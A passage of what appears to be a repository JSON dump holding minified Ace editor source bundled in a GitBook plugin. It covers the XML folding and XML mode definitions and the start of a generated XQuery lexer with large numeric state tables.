if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/xml_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/xml\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./xml_highlight_rules\").XmlHighlightRules,u=e(\"./behaviour/xml\").XmlBehaviour,a=e(\"./folding/xml\").FoldMode,f=e(\"../worker/worker_client\").WorkerClient,l=function(){this.HighlightRules=o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(l,s),function(){this.voidElements=i.arrayToMap([]),this.blockComment={start:\"<!--\",end:\"-->\"},this.createWorker=function(e){var t=new f([\"ace\"],\"ace/mode/xml_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/xml\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-xquery.js",
    "content": "define(\"ace/mode/xquery/xquery_lexer\",[\"require\",\"exports\",\"module\"],function(e,t,n){n.exports=function r(t,n,i){function s(u,a){if(!n[u]){if(!t[u]){var f=typeof e==\"function\"&&e;if(!a&&f)return f(u,!0);if(o)return o(u,!0);throw new Error(\"Cannot find module '\"+u+\"'\")}var l=n[u]={exports:{}};t[u][0].call(l.exports,function(e){var n=t[u][1][e];return s(n?n:e)},l,l.exports,r,t,n,i)}return n[u].exports}var o=typeof e==\"function\"&&e;for(var u=0;u<i.length;u++)s(i[u]);return s}({1:[function(e,t,n){var r=n.XQueryTokenizer=function i(e,t){function r(e,t){E=t,S=e,x=e.length,s(0,0,0)}function s(e,t,n){m=t,g=t,y=e,b=t,w=n,N=n,E.reset(S)}function o(){E.startNonterminal(\"EQName\",g);switch(y){case 77:f(77);break;case 91:f(91);break;case 115:f(115);break;case 116:f(116);break;case 119:f(119);break;case 140:f(140);break;case 147:f(147);break;case 160:f(160);break;case 180:f(180);break;case 186:f(186);break;case 211:f(211);break;case 221:f(221);break;case 222:f(222);break;case 238:f(238);break;case 239:f(239);break;case 248:f(248);break;default:u()}E.endNonterminal(\"EQName\",g)}function u(){E.startNonterminal(\"FunctionName\",g);switch(y){case 14:f(14);break;case 65:f(65);break;case 68:f(68);break;case 69:f(69);break;case 70:f(70);break;case 74:f(74);break;case 75:f(75);break;case 79:f(79);break;case 83:f(83);break;case 84:f(84);break;case 85:f(85);break;case 88:f(88);break;case 89:f(89);break;case 98:f(98);break;case 100:f(100);break;case 103:f(103);break;case 104:f(104);break;case 105:f(105);break;case 106:f(106);break;case 107:f(107);break;case 108:f(108);break;case 113:f(113);break;case 114:f(114);break;case 117:f(117);break;case 118:f(118);break;case 121:f(121);break;case 123:f(123);break;case 124:f(124);break;case 126:f(126);break;case 129:f(129);break;case 130:f(130);break;case 131:f(131);break;case 132:f(132);break;case 141:f(141);break;case 143:f(143);break;case 145:f(145);break;case 146:f(146);break;case 148:f(148);break;case 154:f(154);break;case 155:f(155);break;case 157:f(157);break;case 158:f(158);break;case 159:f(159);break;case 165:f(165);break;case 167:f(167);break;case 169:f(169);break;case 173:f(173);break;case 175:f(175);break;case 176:f(176);break;case 177:f(177);break;case 179:f(179);break;case 181:f(181);break;case 193:f(193);break;case 195:f(195);break;case 196:f(196);break;case 197:f(197);break;case 201:f(201);break;case 207:f(207);break;case 208:f(208);break;case 213:f(213);break;case 214:f(214);break;case 215:f(215);break;case 219:f(219);break;case 224:f(224);break;case 230:f(230);break;case 231:f(231);break;case 232:f(232);break;case 243:f(243);break;case 244:f(244);break;case 245:f(245);break;case 249:f(249);break;case 251:f(251);break;case 255:f(255);break;case 261:f(261);break;case 265:f(265);break;case 269:f(269);break;case 67:f(67);break;case 76:f(76);break;case 78:f(78);break;case 80:f(80);break;case 81:f(81);break;case 86:f(86);break;case 93:f(93);break;case 96:f(96);break;case 97:f(97);break;case 99:f(99);break;case 101:f(101);break;case 120:f(120);break;case 127:f(127);break;case 128:f(128);break;case 136:f(136);break;case 149:f(149);break;case 150:f(150);break;case 156:f(156);break;case 166:f(166);break;case 187:f(187);break;case 194:f(194);break;case 198:f(198);break;case 217:f(217);break;case 220:f(220);break;case 223:f(223);break;case 229:f(229);break;case 235:f(235);break;case 246:f(246);break;case 247:f(247);break;case 252:f(252);break;case 256:f(256);break;case 257:f(257);break;case 258:f(258);break;case 262:f(262);break;case 92:f(92);break;case 171:f(171);break;default:f(216)}E.endNonterminal(\"FunctionName\",g)}function a(){E.startNonterminal(\"NCName\",g);switch(y){case 26:f(26);break;case 65:f(65);break;case 70:f(70);break;case 74:f(74);break;case 75:f(75);break;case 79:f(79);break;case 83:f(83);break;case 84:f(84);break;case 85:f(85);break;case 89:f(89);break;case 100:f(100);break;case 104:f(104);break;case 108:f(108);break;case 113:f(113);break;case 117:f(117);break;case 118:f(118);break;case 121:f(121);break;case 123:f(123);break;case 126:f(126);break;case 132:f(132);break;case 141:f(141);break;case 143:f(143);break;case 145:f(145);break;case 146:f(146);break;case 155:f(155);break;case 157:f(157);break;case 158:f(158);break;case 159:f(159);break;case 167:f(167);break;case 169:f(169);break;case 173:f(173);break;case 175:f(175);break;case 176:f(176);break;case 181:f(181);break;case 193:f(193);break;case 195:f(195);break;case 196:f(196);break;case 215:f(215);break;case 219:f(219);break;case 231:f(231);break;case 232:f(232);break;case 243:f(243);break;case 244:f(244);break;case 249:f(249);break;case 261:f(261);break;case 265:f(265);break;case 68:f(68);break;case 69:f(69);break;case 77:f(77);break;case 88:f(88);break;case 91:f(91);break;case 98:f(98);break;case 103:f(103);break;case 105:f(105);break;case 106:f(106);break;case 107:f(107);break;case 114:f(114);break;case 115:f(115);break;case 116:f(116);break;case 119:f(119);break;case 124:f(124);break;case 129:f(129);break;case 130:f(130);break;case 131:f(131);break;case 140:f(140);break;case 147:f(147);break;case 148:f(148);break;case 154:f(154);break;case 160:f(160);break;case 165:f(165);break;case 177:f(177);break;case 179:f(179);break;case 180:f(180);break;case 186:f(186);break;case 197:f(197);break;case 201:f(201);break;case 207:f(207);break;case 208:f(208);break;case 211:f(211);break;case 213:f(213);break;case 214:f(214);break;case 221:f(221);break;case 222:f(222);break;case 224:f(224);break;case 230:f(230);break;case 238:f(238);break;case 239:f(239);break;case 245:f(245);break;case 248:f(248);break;case 251:f(251);break;case 255:f(255);break;case 257:f(257);break;case 269:f(269);break;case 67:f(67);break;case 76:f(76);break;case 78:f(78);break;case 80:f(80);break;case 81:f(81);break;case 86:f(86);break;case 93:f(93);break;case 96:f(96);break;case 97:f(97);break;case 99:f(99);break;case 101:f(101);break;case 120:f(120);break;case 127:f(127);break;case 128:f(128);break;case 136:f(136);break;case 149:f(149);break;case 150:f(150);break;case 156:f(156);break;case 166:f(166);break;case 187:f(187);break;case 194:f(194);break;case 198:f(198);break;case 217:f(217);break;case 220:f(220);break;case 223:f(223);break;case 229:f(229);break;case 235:f(235);break;case 246:f(246);break;case 247:f(247);break;case 252:f(252);break;case 256:f(256);break;case 258:f(258);break;case 262:f(262);break;case 92:f(92);break;case 171:f(171);break;default:f(216)}E.endNonterminal(\"NCName\",g)}function f(e){y==e?(l(),E.terminal(i.TOKEN[y],b,w>x?x:w),m=b,g=w,y=0):d(b,w,0,y,e)}function l(){g!=b&&(m=g,g=b,E.whitespace(m,g))}function c(e){var t;for(;;){t=C(e);if(t!=28)break}return t}function h(e){y==0&&(y=c(e),b=T,w=N)}function p(e){y==0&&(y=C(e),b=T,w=N)}function d(e,t,r,i,s){throw new n.ParseException(e,t,r,i,s)}function C(e){var t=!1;T=N;var n=N,r=i.INITIAL[e],s=0;for(var o=r&4095;o!=0;){var u,a=n<x?S.charCodeAt(n):0;++n;if(a<128)u=i.MAP0[a];else if(a<55296){var f=a>>4;u=i.MAP1[(a&15)+i.MAP1[(f&31)+i.MAP1[f>>5]]]}else{if(a<56320){var f=n<x?S.charCodeAt(n):0;f>=56320&&f<57344&&(++n,a=((a&1023)<<10)+(f&1023)+65536,t=!0)}var l=0,c=5;for(var h=3;;h=c+l>>1){if(i.MAP2[h]>a)c=h-1;else{if(!(i.MAP2[6+h]<a)){u=i.MAP2[12+h];break}l=h+1}if(l>c){u=0;break}}}s=o;var p=(u<<12)+o-1;o=i.TRANSITION[(p&15)+i.TRANSITION[p>>4]],o>4095&&(r=o,o&=4095,N=n)}r>>=12;if(r==0){N=n-1;var f=N<x?S.charCodeAt(N):0;return f>=56320&&f<57344&&--N,d(T,N,s,-1,-1)}if(t)for(var v=r>>9;v>0;--v){--N;var f=N<x?S.charCodeAt(N):0;f>=56320&&f<57344&&--N}else N-=r>>9;return(r&511)-1}r(e,t);var n=this;this.ParseException=function(e,t,n,r,i){var s=e,o=t,u=n,a=r,f=i;this.getBegin=function(){return s},this.getEnd=function(){return o},this.getState=function(){return u},this.getExpected=function(){return f},this.getOffending=function(){return a},this.getMessage=function(){return a<0?\"lexical analysis failed\":\"syntax error\"}},this.getInput=function(){return S},this.getOffendingToken=function(e){var t=e.getOffending();return t>=0?i.TOKEN[t]:null},this.getExpectedTokenSet=function(e){var t;return e.getExpected()<0?t=i.getTokenSet(-e.getState()):t=[i.TOKEN[e.getExpected()]],t},this.getErrorMessage=function(e){var t=this.getExpectedTokenSet(e),n=this.getOffendingToken(e),r=S.substring(0,e.getBegin()),i=r.split(\"\\n\"),s=i.length,o=i[s-1].length+1,u=e.getEnd()-e.getBegin();return e.getMessage()+(n==null?\"\":\", found \"+n)+\"\\nwhile expecting \"+(t.length==1?t[0]:\"[\"+t.join(\", \")+\"]\")+\"\\n\"+(u==0||n!=null?\"\":\"after successfully scanning \"+u+\" characters beginning \")+\"at line \"+s+\", column \"+o+\":\\n...\"+S.substring(e.getBegin(),Math.min(S.length,e.getBegin()+64))+\"...\"},this.parse_start=function(){E.startNonterminal(\"start\",g),h(14);switch(y){case 55:f(55);break;case 54:f(54);break;case 56:f(56);break;case 40:f(40);break;case 42:f(42);break;case 41:f(41);break;case 35:f(35);break;case 38:f(38);break;case 274:f(274);break;case 271:f(271);break;case 39:f(39);break;case 43:f(43);break;case 49:f(49);break;case 62:f(62);break;case 63:f(63);break;case 46:f(46);break;case 48:f(48);break;case 53:f(53);break;case 51:f(51);break;case 34:f(34);break;case 273:f(273);break;case 2:f(2);break;case 1:f(1);break;case 3:f(3);break;case 12:f(12);break;case 13:f(13);break;case 15:f(15);break;case 16:f(16);break;case 17:f(17);break;case 5:f(5);break;case 6:f(6);break;case 4:f(4);break;case 33:f(33);break;default:o()}E.endNonterminal(\"start\",g)},this.parse_StartTag=function(){E.startNonterminal(\"StartTag\",g),h(8);switch(y){case 58:f(58);break;case 50:f(50);break;case 27:f(27);break;case 57:f(57);break;case 35:f(35);break;case 38:f(38);break;default:f(33)}E.endNonterminal(\"StartTag\",g)},this.parse_TagContent=function(){E.startNonterminal(\"TagContent\",g),p(11);switch(y){case 23:f(23);break;case 6:f(6);break;case 7:f(7);break;case 55:f(55);break;case 54:f(54);break;case 18:f(18);break;case 29:f(29);break;case 272:f(272);break;case 275:f(275);break;case 271:f(271);break;default:f(33)}E.endNonterminal(\"TagContent\",g)},this.parse_AposAttr=function(){E.startNonterminal(\"AposAttr\",g),p(10);switch(y){case 20:f(20);break;case 25:f(25);break;case 18:f(18);break;case 29:f(29);break;case 272:f(272);break;case 275:f(275);break;case 271:f(271);break;case 38:f(38);break;default:f(33)}E.endNonterminal(\"AposAttr\",g)},this.parse_QuotAttr=function(){E.startNonterminal(\"QuotAttr\",g),p(9);switch(y){case 19:f(19);break;case 24:f(24);break;case 18:f(18);break;case 29:f(29);break;case 272:f(272);break;case 275:f(275);break;case 271:f(271);break;case 35:f(35);break;default:f(33)}E.endNonterminal(\"QuotAttr\",g)},this.parse_CData=function(){E.startNonterminal(\"CData\",g),p(1);switch(y){case 11:f(11);break;case 64:f(64);break;default:f(33)}E.endNonterminal(\"CData\",g)},this.parse_XMLComment=function(){E.startNonterminal(\"XMLComment\",g),p(0);switch(y){case 9:f(9);break;case 47:f(47);break;default:f(33)}E.endNonterminal(\"XMLComment\",g)},this.parse_PI=function(){E.startNonterminal(\"PI\",g),p(3);switch(y){case 10:f(10);break;case 59:f(59);break;case 60:f(60);break;default:f(33)}E.endNonterminal(\"PI\",g)},this.parse_Pragma=function(){E.startNonterminal(\"Pragma\",g),p(2);switch(y){case 8:f(8);break;case 36:f(36);break;case 37:f(37);break;default:f(33)}E.endNonterminal(\"Pragma\",g)},this.parse_Comment=function(){E.startNonterminal(\"Comment\",g),p(4);switch(y){case 52:f(52);break;case 41:f(41);break;case 30:f(30);break;default:f(33)}E.endNonterminal(\"Comment\",g)},this.parse_CommentDoc=function(){E.startNonterminal(\"CommentDoc\",g),p(5);switch(y){case 31:f(31);break;case 32:f(32);break;case 52:f(52);break;case 41:f(41);break;default:f(33)}E.endNonterminal(\"CommentDoc\",g)},this.parse_QuotString=function(){E.startNonterminal(\"QuotString\",g),p(6);switch(y){case 18:f(18);break;case 29:f(29);break;case 19:f(19);break;case 21:f(21);break;case 35:f(35);break;default:f(33)}E.endNonterminal(\"QuotString\",g)},this.parse_AposString=function(){E.startNonterminal(\"AposString\",g),p(7);switch(y){case 18:f(18);break;case 29:f(29);break;case 20:f(20);break;case 22:f(22);break;case 38:f(38);break;default:f(33)}E.endNonterminal(\"AposString\",g)},this.parse_Prefix=function(){E.startNonterminal(\"Prefix\",g),h(13),l(),a(),E.endNonterminal(\"Prefix\",g)},this.parse__EQName=function(){E.startNonterminal(\"_EQName\",g),h(12),l(),o(),E.endNonterminal(\"_EQName\",g)};var v,m,g,y,b,w,E,S,x,T,N};r.getTokenSet=function(e){var t=[],n=e<0?-e:INITIAL[e]&4095;for(var i=0;i<276;i+=32){var s=i,o=(i>>5)*2062+n-1,u=o>>2,a=u>>2,f=r.EXPECTED[(o&3)+r.EXPECTED[(u&3)+r.EXPECTED[(a&3)+r.EXPECTED[a>>2]]]];for(;f!=0;f>>>=1,++s)(f&1)!=0&&t.push(r.TOKEN[s])}return t},r.MAP0=[66,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,18,18,18,18,18,18,18,18,18,19,20,21,22,23,24,25,26,27,28,29,30,27,31,31,31,31,31,31,31,31,31,31,32,31,31,33,31,31,31,31,31,31,34,35,36,35,31,35,37,38,39,40,41,42,43,44,45,31,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,31,61,62,63,64,35],r.MAP1=[108,124,214,214,214,214,214,214,214,214,214,214,214,214,214,214,156,181,181,181,181,181,214,215,213,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,247,261,277,293,309,347,363,379,416,416,416,408,331,323,331,323,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,433,433,433,433,433,433,433,316,331,331,331,331,331,331,331,331,394,416,416,417,415,416,416,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,416,330,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,331,416,66,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,18,18,18,18,18,18,18,18,18,19,20,21,22,23,24,25,26,27,28,29,30,27,31,31,31,31,31,31,31,31,31,31,31,31,31,31,35,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,32,31,31,33,31,31,31,31,31,31,34,35,36,35,31,35,37,38,39,40,41,42,43,44,45,31,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,31,61,62,63,64,35,35,35,35,35,35,35,35,35,35,35,35,31,31,35,35,35,35,35,35,35,65,35,35,35,35,35,35,35,35,35,35,35,35,35,35,35,35,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65],r.MAP2=[57344,63744,64976,65008,65536,983040,63743,64975,65007,65533,983039,1114111,35,31,35,31,31,35],r.INITIAL=[1,2,36867,45060,5,6,7,8,9,10,11,12,13,14,15],r.TRANSITION=[17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22908,18836,17152,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,17365,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,17470,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,18157,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,17848,17880,18731,17918,36551,17292,17934,17979,18727,18023,36545,18621,18039,18056,18072,18117,18143,18173,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17687,18805,18421,18437,18101,17393,18489,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,18579,21711,17152,19008,19233,20367,19008,28684,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,17365,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,17470,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,18157,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,17848,17880,18731,17918,36551,17292,17934,17979,18727,18023,36545,18621,18039,18056,18072,18117,18143,18173,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17687,18805,18421,18437,18101,17393,18489,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,20116,18836,18637,19008,19233,21267,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,18763,18778,18794,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,18821,22923,18906,19008,19233,17431,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18937,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,19054,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,18953,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21843,18836,18987,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21696,18836,18987,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,